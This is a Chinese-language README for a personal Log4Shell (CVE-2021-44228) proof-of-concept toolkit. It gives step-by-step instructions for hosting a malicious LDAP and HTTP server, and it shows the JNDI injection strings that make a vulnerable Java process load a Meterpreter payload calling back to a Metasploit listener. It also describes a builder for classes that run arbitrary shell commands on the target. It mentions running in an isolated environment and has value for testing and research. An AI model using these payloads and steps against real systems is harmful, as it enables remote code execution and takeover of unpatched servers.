Log4Shell (Cve-2021-44228) 概念验证
这是一个个人项目,运行一个简单的 POC,它将托管一个 LDAP 服务器和一个用于 Log4Shell 漏洞利用的 HTTP 服务器。
run_servers.py 将设置一个精简版 meterpreter 客户端,该客户端将回调 LDAP 请求中传入的 Metasploit 实例。 这将在受 Log4Shell 漏洞影响的原始进程中 以线程方式运行 meterpreter 实例。
LDAP 服务器由 Java 编写,HTTP 服务器由 Python 托管,并 会从一个新创建的 wwwroot 目录提供内容。 这需要 java、 javac 和 mvn 来构建漏洞利用代码并托管 LDAP 服务器。 我使用了 Java 8。
同时还需要 Python3。
运行:python3 run_servers.py <your_ip_address> <the_http_port> [ldap_port]
然后,将 jndi 字符串传递给有漏洞的客户端进行记录,例如: 如果你的主机是 10.20.30.40,你的 metasploit 实例是 20.30.40.50 监听 4444 端口,则它看起来像这样: '${jndi:ldap://10.20.30.40:1389/#MM:20.30.40.50:4444}'
你可以构建将在源系统上启动可执行程序的类。 你可以为基于 Windows 或 Linux 的系统设置不同的命令。 例如,要创建一个名为 TestCmd 的类,它将在 Windows 系统上启动计算器, 并在 Linux 系统上启动 Firefox,请运行: python3 build_cmd.py TestCmd -w "Calc.exe" -l "firefox"
你可以有多个预构建的类。 如果没有为目标操作系统指定命令 则不会执行任何操作。 请注意,这些命令以 CMD \c "your command" 在 Windows 上运行,以 /bin/sh -c "your command" 在 Linux 上运行。
要触发上述命令,请使用你创建的类的名称,例如: '${jndi:ldap://10.20.30.40:1389/#TestCmd'
Payload.java 文件是完整的 Meterpreter 文件,设置为以线程方式,在 存在 log4shell 问题的调用进程中运行。 这需要 手动编译并移动到 wwwroot 目录。 此外,你还需要 使用你需要的属性来设置 metasploit.dat 文件。
clients 目录包含 2 个可执行的客户端。 一个是简单的命令行程序, 它会为传入的第一个参数写入错误日志。
另一个是基本的 Web 服务器,它会使用 log_me 头信息写入错误日志。 请注意,这应在隔离且受控的环境中运行。
导航到 clients 目录并运行 ./build_clients.sh
在 clients 目录下运行:java -cp target/l4sclients-1.0-SNAPSHOT-all.jar Log4jWebServer [Port_number]
在 clients 目录下运行:java -cp target/l4sclients-1.0-SNAPSHOT-all.jar Log4jCmdLine '${jndi:ldap://127.0.0.1:1389/#MM:127.0.0.1:4444}'